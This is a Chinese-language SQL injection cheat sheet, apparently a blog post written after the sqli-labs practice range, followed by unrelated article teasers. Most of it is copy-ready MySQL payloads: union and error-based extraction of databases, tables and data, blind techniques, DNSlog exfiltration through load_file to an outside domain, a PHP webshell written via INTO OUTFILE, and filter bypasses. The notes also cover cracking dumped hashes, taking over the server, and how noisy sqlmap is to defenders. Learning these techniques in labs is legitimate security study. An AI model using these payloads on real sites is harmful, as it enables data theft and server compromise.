SQL 注入 思路总结&语句快速定位

这份笔记源于我通关sqli-labs靶场(1-42关)后的一个顿悟,即时精炼记下了关于SQL注入的核心思路与语句总结。最初它只是那次靶场练习的即时复盘,但后来随着我接触到更多新的题型、技巧和过滤场景,我又不断把新学到的知识点补充了进去。它从一个简单的通关心得,渐渐变成了我个人在SQL注入领域的“查漏补缺”手册。最后,如有疏漏或建议,欢迎指正,也希望这篇笔记也能给你在面对考察sql注入的知识点时带来启发

PS: 关于sqli-labs的1-42关的详细解题步骤我另写过一篇 
sqli-labs 1-42 超详细通关笔记,不介意的话,可搭配食用 ^_^

目录(这里方便快速定位)

判断

找注入点

判断参数类型

判断注释符号有效否

1.若有报错信息or异常界面:

2.看输入的与显示出的语句对比:

判断闭合符号的方法: (判断出是字符型的情况下)

1.根据报错信息判断:

2.使用万能密钥:

3.由页面真假、异常判断:

4.sleep函数判断

5.注意有无括号

均无法判断另寻他法:

语句

查询的语句

union联合注入

报错注入

extractvalue报错

updatexml报错

floor报错

盲注

布尔盲注

时间盲注

DNSlog注入

堆叠注入

其他

文件上传

sqlmap使用

special-less

注入点

控制输出

绕过

补充:


 

判断

找注入点

关注url有无可疑的参数(尤其是出现?时)

在输入框,可以试试抓包在post处、cookie,ua头等等 各试一试输入单引号啥的看有没有报错。

有时有登录可以先进行登录(万能密码or页面提供了注册),看登录后有啥新的注入点;

判断参数类型

前提: id=1与id=2的回显信息本不一致

/?id=1 /?id=2-1  

若两条语句回显页面同则为数字型,不同则为字符型;

 

判断注释符号有效否

get型注入推荐用--+来当注释符 post型注入推荐用#来当注释符

#浏览器URL中提交时需进行url编码,其url编码为 %23 而--+可以直接输在URL里

注意:若两种注释均无效,则考虑如何注释绕过;

1.若有报错信息or异常界面:

例如:已知/?id=1' 会显示*near ''1'' LIMIT 0,1' 当后面加#仍会显示有 '' LIMIT 0,1' 则说明在这里#被过滤;

2.看输入的与显示出的语句对比:

eg:

  • /?id=1 group by 3#1
    • Hint: The Query String you input is escaped as : 1 group by 3
  • ?id=1 group by 3--+1
    • Hint: The Query String you input is escaped as : 1 group by 3-- 1

---> 该题注释符可以用--+

 

判断闭合符号的方法: (判断出是字符型的情况下)

1.根据报错信息判断:

注意:当特意多加个引号页面仍正常,并不能代表是否是该闭合方式;--->因为此举本来目的是想由出现报错信息来给出提示(guess);

有报错信息看报错信息,测试时随便多加个单引号(不用注释后面的),看报错信息即可;

有时尝试某种闭合方式的仍页面正常或者无报错信息时,可以多尝试其他闭合方式看页面看能不能出现报错的情况;(eg:less-22、30)

注意:输入1’ ,有报错信息显示near ''1''' at line 1故为单引号闭合,而不是双引号闭合

  • ''1''' 应该视为 ' '1' ' '
    • (两边最外面的单引号是自带的)
    • 中间加粗高亮的是输入的;
    • 余下才是sql语句原有的;

 

2.使用万能密钥:

(若#不行替换成--+,即选有效的注释符)

1 OR 1 = 1# a' OR 1 = 1# a') OR 1 = 1# a')) OR 1 = 1# a" OR 1 = 1# a") OR 1 = 1# a")) OR 1 = 1#

eg:a' OR 1 = 1#成功登录,则表示该字段为单引号闭合

  • 能用万能密钥的地方一般能sql注入。
  • 当用万能密钥注入,有时不出现回显,可能是数据太多了可以加limit n,1进行限制输出

3.由页面真假、异常判断:

一、页面是否对语句进行了正确的判断

例如:(有时可能用or来替换and)

1' and 1=1# //显示登录成功   1' and 1=2# //显示登录失败

说明此时页面对语句进行了正确的判断,则闭合符号为单引号

1=1有时也可以简写为1 1=2 。。。。。。。。0 (这两简写的方法但也不一定)

二、加了注释后页面由异常变正常

当用某种闭合方法页面异常但无报错具体的信息,可以在后面加注释符(当然,此注释符有效的话),若此时异常的页面又正常回显了,很可能是该闭合方式(可能最好还是用用法一来辅助验证下);

 

4.sleep函数判断

(若sleep函数有效的话)

eg:/?id=1' and sleep(2)--+

若闭合正确,则会执行sleep函数;

5.注意有无括号

其实也可以在后面进行一系列查询的语句时,发现在没考虑有无括号的情况下都不对时,可以再去带如括号进行看哪个能正常执行(maybe不推荐)

判断小括号的几种方法:(例题见less-26a)

假如已判断出至少有单引号,

方法一:

2'&&'1'='1  

  • 若查询语句为where,查询时是where&&'1'='1',结果是where,回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1。、

方法二:

1')||'1'=('1

  • 若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

 

均无法判断另寻他法:

 

 

语句

注:以列数为3,单引号闭合 为例子;

注释符若--+不管用,换#试试;

查询的语句

库名:

database() select database()

表名:

select group_concat(table_name) from information_schema.tables where table_schema='库名'

列名:

select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'

数据:

select group_concat(字段1,字段2...) from 表名

 

union联合注入

有回显位,优先考虑union联合注入,使用union注入前要记得判断列数;

核心: union select 1,2,要查询的语句--+

(假如”2,“后面是回显位)

判断列数:(最后记得加注释符)

order by group by

判断回显位 (以判断出有3列为例)

注:前面的参数要设置为不存在的数值

/?id=-1' union select 1,2,3--+

判断库名、版本:

/?id=-1' union select 1,version(),database() --+

判断表名、列名:

/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='库名') --+?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名') --+

获取数据:

/?id=-1' union select 1,2,(select group_concat(字段名1,字段名2,字段名3) from users) --+

 

报错注入

当无回显位,无法进行union联合注入后,可考虑报错注入

报错注入显示的字符数只有32位,有时可搭配substr、substring、limit等函数;

extractvalue报错

核心:extractvalue(1,concat(0x7e,要查询的语句))

库名:

/?id=0' union select 1,2,extractvalue(1,concat(0x7e,database()))--+ //该方式使用前要判断列数 /?id=0' and 1=extractvalue(1,concat(0x7e,database()))--+ //可以不用判断列数,推荐

表名

/?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='库名')))--+

列名

?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名')))--+

数据

?id=0' and 1=extractvalue(1,concat(0x7e,(select group_concat(字段名1,字段名2,字段名3) from 表名)))--+ ?id=0' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(字段名1,字段名2,字段名3),32,32) from 表名)))--+ //搭配substring

 

updatexml报错

核心:updatexml(1,concat('~',要查询的语句),3)

用法与extractvalue相同,只是多一个参数;

 

floor报错

使用前要判断列数;

核心:

union select 1,count(*),concat_ws('~',要查询的语句,floor(rand(0)*2)) as a from information_schema.tables group by a--+

上面语句的information_schema.tables可以换成任意行数多的表名;

 

盲注

无法union、报错注入时再考虑盲注;

一般手工盲注少,常用工具如sqlmap;

一般先判断该字符串长度,再针对该字符串里的每个字符进行判断;

判断长度:

length(要查询的)>=数字

 

在盲注里,下面介绍的语句在注入时前面加给个and或者or连接起来用即可(按不同情况选合适的);

布尔盲注

前提:页面有真假值

核心:

ascii(substr(要查询的语句,1,1))>=115--+ //由ascii来进行判断,可以使用二分法 substr(要查询的语句,1,1))>='s'--+ //直接对字母进行比较来判断

控制substr(参数1,参数2,参数3)里的参数2与3来一个个比较;

时间盲注

前提:页面无真假值,但sleep函数可用;

核心

if(嵌套布尔盲注里的语句,sleep(2),sleep(0))--+ //若if的参数一结果为真,则执行sleep(2),否则执行sleep(0)

 

DNSlog注入

比布尔、时间盲注效率都高,但要有对网站的读写权限才能用;

核心:

(select load_file(concat("//",(查询语句),".你的域名/bbb.txt") //注:bbb.txt处,随便起个名字

搭配的工具---网站:http://ceye.io/profile或者http://dnslog.cn/

注意:有时要在查询语句后面加limit等函数去限制字数,因为若名字太长就不会去解析DNS了;

 

堆叠注入

当select一被禁用,联合查询,报错注入,布尔,时间盲注有些使用会遭到限制,这时可以尝试 堆叠注入(此方法使用提前是没被过滤)

show databases; show tables; show columns from `表名` //数据表为数字的时候需要用反引号括起来 set sql_mode=PIPES_AS_CONCAT; //PIPES_AS_CONCAT将 || 或运算符 转换为 连接字符,即让管道符号被解释为字符串的连接运算符。 根据情景采取改表、改名等等操作;(可能要猜后端查询语句)

 

 

其他

文件上传

运用eg:less-7 

注意:

  • 若用相对路径 'union select 1,"<?php phpinfo(); ?>" into outfile "./shell.php"# 文件保存的路径会在如"C:\phpstudy_pro\Extensions\MySQL5.7.26\data",因为它是由MySQL在操作,此写法就不能把文件保存在网站的目录下
  • 若有写入权限,即在php.ini里的"secure_file_priv="时,才能使用一句话木马的方法。
  • 当然盲注时,若有读写权限,也可以使用一句话木马的方法,因为sql注入原理就是把用户输入的信息插入到sql查询语句里。
  • sqlmap有个temper文件夹,里面脚本可以绕过waf,但用之前还得知道waf过滤了哪些。

 

sqlmap使用

sqlmap有个temper文件夹,里面脚本可以绕过waf,但用之前还得知道waf过滤了哪些。

special-less 

(方便快速回顾可参考: sqli-labs 1-42 通关笔记

  • less-17的post报错注入方法;
  • less-29 双服务器、参数污染;
  • less-32 适时使用16进制编码--表名
  • less-42 堆叠注入
  • pikachu sql注入get、post的第二种方法;(在能union注入的情况下)

注入点

  • url上
  • 提交信息上
  • 登录或者提交后 http标头上
    • user-agent
    • referer
    • cookie
    • 等等
  • 二次注入 ,eg:less-24

 

控制输出

  • concat()
  • group_concat()
  • concat_ws()
  • substr()
  • substring()
  • limit()
    • select table_name from information_schema.tables where table_schema="security" limit 0,1

绕过

  • 固定句型:set @xxx=....(想要执行的语句,可以结合其他的方法来构造);prepare yyy from @xxx;execute yyy;
    • 其中xxx、yyy为自己定义的名字;
  • 编码
    • 例如:select被过滤,构造payload select *from where 表名 *号查询数据表里面的全部内容, 假如进行16进制编码加密为kkk 最终payload:1';set @a=0xkkk;prepare execsql from @a;execute execsql;# // 其中a、execsql为自己定义的名字;
  • 某关键词被禁用:(例如select)
    • handler命令可以一行一行的显示数据表中的内容,例如构造 handler `表名`open as`别名`; handler `别名` read next;# 可参考题目:https://blog.ZEEKLOG.net/m0_73734159/article/details/134049744
    • 利用concat拼接若为单引号闭合,1';set @sql=concat('s','elect 字段名 from `表名`');PREPARE aaa FROM @sql;EXECUTE aaa# 

 

 

补充

  • 拿到数据没法解密,常见加密方法md5,bcrypt(cmd5网站可以一些常见的解密) 若登录存在注入,跑出账号解密不了,这种情况很多 找加密的源码, 插入新的数据,替换数据、密码
  • 要能堆叠注入才能插入更新数据。
    • 若没法堆叠,可以尝试写入一句话木马,
  • 有些信息看不懂可能是进行了编码,如base64,可见less-21;
  • 有些过滤引号在写到表名啥的要有引号括起来时,可以把其名转为16进制编码,eg:less-32
  • 判断列数时,若order by与group by均不可用,可以用union select来进行测试;
  • 绕过方式见OneNote;(或者后续再补充)
  • 通过数据库拿下服务器,条件:注入时要管理员权限,知道网站解析路径(绝对路径),数据库对系统有写入权限。现在主流排序注入较多。
  • sqlmap流量很明显,原理是无限制尝试payload,对网站日志占用很大,容易打草惊蛇,使用的难点还在于:遇到安全设置怎么绕过,怎么找注入点。
  • php在5.0以上才有information_schema数据库

 

Read more

Flutter 组件 mek_data_class_generator 的鸿蒙化适配实战 - 驾驭核心数据防腐大厂,实现 OpenHarmony 业务模型的不可变性与零污染自动化生成

Flutter 组件 mek_data_class_generator 的鸿蒙化适配实战 - 驾驭核心数据防腐大厂,实现 OpenHarmony 业务模型的不可变性与零污染自动化生成

欢迎加入开源鸿蒙跨平台社区:https://openharmonycrossplatform.ZEEKLOG.net Flutter 组件 mek_data_class_generator 的鸿蒙化适配实战 - 驾驭核心数据防腐大厂,实现 OpenHarmony 业务模型的不可变性与零污染自动化生成 前言 在鸿蒙(OpenHarmony)生态全力出海的背景下,无论是车载系统、医疗平板还是重型工控终端,其核心业务逻辑的复杂度正呈指数级增长。作为架构师,我们在处理诸如 0308 批次的员工打卡模型、医院监控大宽表等数据实体流转时,最头疼的莫过于人手编写那些冗长的 copyWith、operator == 和 hashCode。 靠人手去维护这些“防手残”的基础逻辑,不仅极其枯燥,更容易引发致命的业务空隙。一旦你在给实体类加字段时忘了更新 hashCode 的对比规则,在分布式流转中就会产生难以察觉的对象识别错误。mek_data_class_generator 正是为了终结这种低级错误而生的“代码冷血机器”。它通过自动化生成线,

By Ne0inhk
【OpenClaw从入门到精通】:环境搭建全攻略——Windows/macOS/Linux三平台部署指南(2026实测)

【OpenClaw从入门到精通】:环境搭建全攻略——Windows/macOS/Linux三平台部署指南(2026实测)

【OpenClaw从入门到精通】:环境搭建全攻略——Windows/macOS/Linux三平台部署指南(2026实测) 引言 环境搭建是使用OpenClaw的第一步,也是确保系统稳定运行的基础。不同操作系统和环境配置可能会影响OpenClaw的性能和功能表现。本文将详细介绍在Windows、macOS和Linux三大主流平台上的OpenClaw部署方法,包括最佳实践、常见问题和解决方案。 通过本文的指导,你将能够根据自己使用的操作系统选择最适合的部署方案,确保OpenClaw在你的环境中稳定高效运行。 系统要求 通用要求 * Node.js: >= 22.0.0 * 内存: 最少8GB,推荐16GB以上 * 存储: 至少10GB可用空间 * 网络: 稳定的互联网连接 平台特定要求 Windows平台 * 操作系统: Windows 10 (1903+) 或 Windows 11 * 内存: 最少8GB,推荐16GB *

By Ne0inhk
Flutter for OpenHarmony:puppeteer 远程控制 Chrome 浏览器,实现截图与自动化操作(Headless Chrome 适配) 深度解析与鸿蒙适配指南

Flutter for OpenHarmony:puppeteer 远程控制 Chrome 浏览器,实现截图与自动化操作(Headless Chrome 适配) 深度解析与鸿蒙适配指南

欢迎加入开源鸿蒙跨平台社区:https://openharmonycrossplatform.ZEEKLOG.net 前言 puppeteer 是一个 Node.js 库的 Dart 移植版,它提供了一套高级 API 来通过 DevTools 协议控制 Chrome 或 Chromium。通常用于爬虫、生成 PDF、截图或自动化测试。 在 OpenHarmony 移动设备上,直接启动一个 Headless Chrome 进程是不现实的(受限于系统权限和架构)。但是,我们可以利用 puppeteer 的远程连接能力,让 OpenHarmony 应用控制部署在服务器或局域网 PC 上的浏览器实例,实现强大的远程自动化功能。本文将介绍如何在 OpenHarmony 环境下使用 puppeteer 连接并控制远程浏览器。 一、puppeteer

By Ne0inhk
Ubuntu 一键安装 ROS 全流程( 鱼香ROS 一键脚本)

Ubuntu 一键安装 ROS 全流程( 鱼香ROS 一键脚本)

目录 前言: 一、运行鱼香ROS 一键工具 二、先执行 5 → 更换系统源 1)输入 5(一键配置系统源) 2)输入 2(更换系统源并清理第三方源) 3)输入 1(添加 ROS / ROS2 官方源) 三、一键安装 ROS 四、测试 ROS 是否成功安装 1)打开第 1 个终端: 2)打开第 2 个终端: 3)打开第 3 个终端: 五、配置 rosdep 六、更新系统环境(可选) 七、

By Ne0inhk